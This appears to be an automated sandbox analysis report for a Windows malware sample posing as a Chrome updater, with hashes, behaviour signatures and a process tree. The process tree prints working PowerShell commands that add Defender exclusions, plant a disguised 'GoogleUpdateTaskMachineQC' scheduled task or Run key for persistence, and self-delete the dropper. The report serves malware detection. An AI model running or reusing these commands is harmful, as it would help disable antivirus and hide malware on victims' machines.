165a0de3cbb54178e47215a0ad412c91f1cbbcefc3c3d35d8124c5972d1c1950

max time kernel
1171s
max time network
1174s
platform
windows10-2004_x64
resource
win10v2004-20231215-en
resource tags

arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system
submitted
23/01/2024, 19:27

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General

Target
grhsghsGHswgh/LM3BR4UBmKBzBP5H.exe
Size 2.0MB
Sample240123-x591qagbd7
SHA256 cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
MD5 a16a669a09bf158058b83e04e69fe38e
SHA1 f6c94763850d9e590d86057139e8895a7aacdeea
SHA512 658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
SSDEEP 49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

Malware Config

Signatures

Suspicious use of NtCreateUserProcessOtherParentProcess 4 IoCs

description	pid	Process	procid_target
PID 4180 created 3400	4180	LM3BR4UBmKBzBP5H.exe	44
PID 4180 created 3400	4180	LM3BR4UBmKBzBP5H.exe	44
PID 4180 created 3400	4180	LM3BR4UBmKBzBP5H.exe	44
PID 4180 created 3400	4180	LM3BR4UBmKBzBP5H.exe	44

Drops file in Program Files directory 1 IoCs

description	ioc	Process
File created	C:\Program Files\Google\Chrome\updater.exe	LM3BR4UBmKBzBP5H.exe

Suspicious behavior: EnumeratesProcesses 14 IoCs

pid	Process
4180	LM3BR4UBmKBzBP5H.exe
4180	LM3BR4UBmKBzBP5H.exe
2084	powershell.exe
2084	powershell.exe
4180	LM3BR4UBmKBzBP5H.exe
4180	LM3BR4UBmKBzBP5H.exe
8	powershell.exe
8	powershell.exe
4180	LM3BR4UBmKBzBP5H.exe
4180	LM3BR4UBmKBzBP5H.exe
4180	LM3BR4UBmKBzBP5H.exe
4180	LM3BR4UBmKBzBP5H.exe
388	powershell.exe
388	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2084	powershell.exe
Token: SeDebugPrivilege	8	powershell.exe
Token: SeIncreaseQuotaPrivilege	8	powershell.exe
Token: SeSecurityPrivilege	8	powershell.exe
Token: SeTakeOwnershipPrivilege	8	powershell.exe
Token: SeLoadDriverPrivilege	8	powershell.exe
Token: SeSystemProfilePrivilege	8	powershell.exe
Token: SeSystemtimePrivilege	8	powershell.exe
Token: SeProfSingleProcessPrivilege	8	powershell.exe
Token: SeIncBasePriorityPrivilege	8	powershell.exe
Token: SeCreatePagefilePrivilege	8	powershell.exe
Token: SeBackupPrivilege	8	powershell.exe
Token: SeRestorePrivilege	8	powershell.exe
Token: SeShutdownPrivilege	8	powershell.exe
Token: SeDebugPrivilege	8	powershell.exe
Token: SeSystemEnvironmentPrivilege	8	powershell.exe
Token: SeRemoteShutdownPrivilege	8	powershell.exe
Token: SeUndockPrivilege	8	powershell.exe
Token: SeManageVolumePrivilege	8	powershell.exe
Token: 33	8	powershell.exe
Token: 34	8	powershell.exe
Token: 35	8	powershell.exe
Token: 36	8	powershell.exe
Token: SeIncreaseQuotaPrivilege	8	powershell.exe
Token: SeSecurityPrivilege	8	powershell.exe
Token: SeTakeOwnershipPrivilege	8	powershell.exe
Token: SeLoadDriverPrivilege	8	powershell.exe
Token: SeSystemProfilePrivilege	8	powershell.exe
Token: SeSystemtimePrivilege	8	powershell.exe
Token: SeProfSingleProcessPrivilege	8	powershell.exe
Token: SeIncBasePriorityPrivilege	8	powershell.exe
Token: SeCreatePagefilePrivilege	8	powershell.exe
Token: SeBackupPrivilege	8	powershell.exe
Token: SeRestorePrivilege	8	powershell.exe
Token: SeShutdownPrivilege	8	powershell.exe
Token: SeDebugPrivilege	8	powershell.exe
Token: SeSystemEnvironmentPrivilege	8	powershell.exe
Token: SeRemoteShutdownPrivilege	8	powershell.exe
Token: SeUndockPrivilege	8	powershell.exe
Token: SeManageVolumePrivilege	8	powershell.exe
Token: 33	8	powershell.exe
Token: 34	8	powershell.exe
Token: 35	8	powershell.exe
Token: 36	8	powershell.exe
Token: SeIncreaseQuotaPrivilege	8	powershell.exe
Token: SeSecurityPrivilege	8	powershell.exe
Token: SeTakeOwnershipPrivilege	8	powershell.exe
Token: SeLoadDriverPrivilege	8	powershell.exe
Token: SeSystemProfilePrivilege	8	powershell.exe
Token: SeSystemtimePrivilege	8	powershell.exe
Token: SeProfSingleProcessPrivilege	8	powershell.exe
Token: SeIncBasePriorityPrivilege	8	powershell.exe
Token: SeCreatePagefilePrivilege	8	powershell.exe
Token: SeBackupPrivilege	8	powershell.exe
Token: SeRestorePrivilege	8	powershell.exe
Token: SeShutdownPrivilege	8	powershell.exe
Token: SeDebugPrivilege	8	powershell.exe
Token: SeSystemEnvironmentPrivilege	8	powershell.exe
Token: SeRemoteShutdownPrivilege	8	powershell.exe
Token: SeUndockPrivilege	8	powershell.exe
Token: SeManageVolumePrivilege	8	powershell.exe
Token: 33	8	powershell.exe
Token: 34	8	powershell.exe
Token: 35	8	powershell.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 4704 wrote to memory of 4928	4704	cmd.exe	102
PID 4704 wrote to memory of 4928	4704	cmd.exe	102
PID 388 wrote to memory of 3488	388	powershell.exe	104
PID 388 wrote to memory of 3488	388	powershell.exe	104

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\LM3BR4UBmKBzBP5H.exe
"C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\LM3BR4UBmKBzBP5H.exe"
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
PID:4180

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:3400
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2084
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:8
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\LM3BR4UBmKBzBP5H.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4704
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:388

C:\Windows\System32\choice.exe
choice /C Y /N /D Y /T 3
1⤵
PID:4928

C:\Windows\system32\schtasks.exe
"C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
1⤵
PID:3488

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
MD5 d85ba6ff808d9e5444a4b369f5bc2730
SHA1 31aa9d96590fff6981b315e0b391b575e4c0804a
SHA512 8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
MD5 SHA1 SHA512

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StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 944B
SHA256 f97ff12a8abf4bf88bb6497bd2ac2da12628c8847a8ba5a9026bdbb76507cdfb
MD5 77d622bb1a5b250869a3238b9bc1402b
SHA1 d47f4003c2554b9dfc4c16f22460b331886b191b
SHA512 d6789b5499f23c9035375a102271e17a8a82e57d6f5312fa24242e08a83efdeb8becb7622f55c4cf1b89c7d864b445df11f4d994cf7e2f87a900535bcca12fd9
MD5 SHA1 SHA512

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__PSScriptPolicyTest_lqeqnsca.kti.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_lqeqnsca.kti.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

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memory/8-33-0x00007FFE1F310000-0x00007FFE1FDD1000-memory.dmp

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memory/8-32-0x0000012E1FB00000-0x0000012E1FB10000-memory.dmp

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memory/8-31-0x0000012E1FB00000-0x0000012E1FB10000-memory.dmp

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memory/8-30-0x0000012E1FB00000-0x0000012E1FB10000-memory.dmp

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memory/8-29-0x00007FFE1F310000-0x00007FFE1FDD1000-memory.dmp

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memory/388-47-0x000001ECC9B40000-0x000001ECC9B50000-memory.dmp

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memory/388-46-0x000001ECC9B40000-0x000001ECC9B50000-memory.dmp

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memory/388-49-0x00007FFE1F310000-0x00007FFE1FDD1000-memory.dmp

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memory/388-45-0x00007FFE1F310000-0x00007FFE1FDD1000-memory.dmp

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memory/2084-14-0x0000013CA7D20000-0x0000013CA7D30000-memory.dmp

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memory/2084-12-0x0000013CA7D20000-0x0000013CA7D30000-memory.dmp

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memory/2084-17-0x00007FFE1F310000-0x00007FFE1FDD1000-memory.dmp

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memory/2084-11-0x00007FFE1F310000-0x00007FFE1FDD1000-memory.dmp

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memory/2084-13-0x0000013CA7D20000-0x0000013CA7D30000-memory.dmp

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memory/2084-1-0x0000013CA9E40000-0x0000013CA9E62000-memory.dmp

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memory/4180-35-0x00007FF768B20000-0x00007FF768D31000-memory.dmp

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memory/4180-0-0x00007FF768B20000-0x00007FF768D31000-memory.dmp

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